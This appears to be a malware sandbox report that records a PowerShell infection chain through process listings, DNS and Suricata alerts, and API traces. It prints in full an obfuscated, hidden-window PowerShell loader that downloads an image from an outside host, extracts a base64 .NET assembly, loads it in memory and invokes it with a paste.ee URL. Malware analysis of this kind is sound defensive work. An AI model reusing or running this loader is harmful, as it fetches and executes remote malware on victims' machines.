mTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBJhvWQmTktteTÇCmGchvWQmTktteTÇCmZgB4hvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmKQhvWQmTktteTÇCmnhvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmJwBxhvWQmTktteTÇCmGshvWQmTktteTÇCmUhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmJwBchvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCmuhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmQQBjhvWQmTktteTÇCmEUhvWQmTktteTÇCmKhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMghvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmzhvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmBbhvWQmTktteTÇCmHMhvWQmTktteTÇCmVhvWQmTktteTÇCmByhvWQmTktteTÇCmEkhvWQmTktteTÇCmTgBnhvWQmTktteTÇCmF0hvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmMwhvWQmTktteTÇCm5hvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmKhvWQmTktteTÇCmBbhvWQmTktteTÇCmGMhvWQmTktteTÇCmShvWQmTktteTÇCmBhhvWQmTktteTÇCmFIhvWQmTktteTÇCmXQhvWQmTktteTÇCmxhvWQmTktteTÇCmDEhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmrhvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMQhvWQmTktteTÇCmwhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmNQhvWQmTktteTÇCm0hvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCQhvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmHwhvWQmTktteTÇCmIhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmVgBvhvWQmTktteTÇCmGshvWQmTktteTÇCmRQhvWQmTktteTÇCmthvWQmTktteTÇCmGUhvWQmTktteTÇCmWhvWQmTktteTÇCmBwhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmFMhvWQmTktteTÇCmaQBPhvWQmTktteTÇCmG4hvWQmTktteTÇCm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('hvWQmTktteTÇCm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2704

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('rn6imageUrl = yQShttps://uploaddeimag'+'ens.co'+'m.br/images/004/654/536/original/new_image.jpg?1698957750yQS;rn6webC'+'lient = New-'+'Object System.Net.WebClie'+'nt;rn6imageBytes = rn6webClient.DownloadData(rn6i'+'mag'+'eUrl);rn6imageText = [System.Text.Encoding]::UTF8.GetString(rn6'+'im'+'ageBy'+'tes);rn6startFlag = yQS<<BASE64_START>'+'>'+'yQS;rn6endFlag = yQS<<'+'BAS'+'E64_END>'+'>yQS;rn6'+'startIndex = rn6imageText.IndexO'+'f(rn6startFlag);rn6endIn'+'dex = rn6imageText.In'+'dexOf(rn6endFlag'+');rn6startIndex -ge 0 -an'+'d rn6endIndex -gt rn6startIndex;rn6sta'+'rtIndex += rn6startFlag.Length;rn6base64Length = rn6endIndex - rn6'+'startIndex;rn6base64Command = rn6imageText.Substr'+'ing(rn6startIndex, rn6base64Length'+');rn6commandBytes = [System.Convert]::FromBase64String(rn6base64Command);rn6loadedAssembly = [System.Reflection'+'.Assemb'+'ly]::Load(rn6commandBytes);rn6type = rn6loade'+'dAssembly.GetType(yQSFiber.HomeyQS);rn6method = rn6type.'+'Ge'+'tMethod(yQSVAIyQS).Invoke(rn6null, [object[]] (yQSMC96SllwTi9kL2VlLmV0c2FwLy86c3B0dGg=yQS , yQSyQS '+', yQS2yQS , yQSIgfx'+'yQS , yQS3yQS , yQSC:qkPProgramDataqkPyQS, yQSIgfxyQS))').replAcE('qkP','\').replAcE(([cHaR]121+[cHaR]81+[cHaR]83),[sTrINg][cHaR]39).replAcE(([cHaR]114+[cHaR]110+[cHaR]54),'$')| InVokE-eXpresSiOn"

        2808

Name Response Post-Analysis Lookup
apps.identrust.com
A 121.254.136.9
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 121.254.136.18
23.67.53.27
paste.ee
A 172.67.187.200
A 104.21.84.67
104.21.84.67
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
172.67.215.45
IP Address Status Action
104.21.45.138 Active Moloch
121.254.136.18 Active Moloch
164.124.101.2 Active Moloch
172.67.187.200 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49161 -> 172.67.187.200:443 2034978 ET POLICY Pastebin-style Service (paste .ee) in TLS SNI Potential Corporate Privacy Violation
TCP 192.168.56.101:49161 -> 172.67.187.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49166 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49161
172.67.187.200:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=paste.ee 75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d
TLSv1
192.168.56.101:49166
104.21.45.138:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:181
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('MC96SllwTi9kL2VlLmV0c2FwLy86c
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: 3B0dGg=' , '' , '2' , 'Igfx' , '3' , 'C:\ProgramData\', 'Igfx'))
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:244
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: etString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('MC96SllwTi9kL2VlLmV0c2FwLy86c
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: 3B0dGg=' , '' , '2' , 'Igfx' , '3' , 'C:\ProgramData\', 'Igfx'))
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x0000001b
1 1 0

WriteConsoleW

 buffer: At line:1 char:350
console_handle: 0x00000027
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000033
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000003f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x0000004b
1 1 0

WriteConsoleW

 buffer: etString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>
console_handle: 0x00000057
1 1 0

WriteConsoleW

 buffer: >';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.In
console_handle: 0x00000063
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000006f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000007b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000087
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x00000093
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x0000009f
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('MC96SllwTi9kL2VlLmV0c2FwLy86c
console_handle: 0x000000ab
1 1 0

WriteConsoleW

 buffer: 3B0dGg=' , '' , '2' , 'Igfx' , '3' , 'C:\ProgramData\', 'Igfx'))
console_handle: 0x000000b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x000000c3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00532690
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531cd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531cd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531cd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531cd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531cd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531cd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00532050
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00532050
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00532050
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531c90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005325d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005318d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00532810
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00532810
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00530c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531370
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531370
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531370
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531630
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://paste.ee/d/LR45D
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02980000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2704
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02930000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
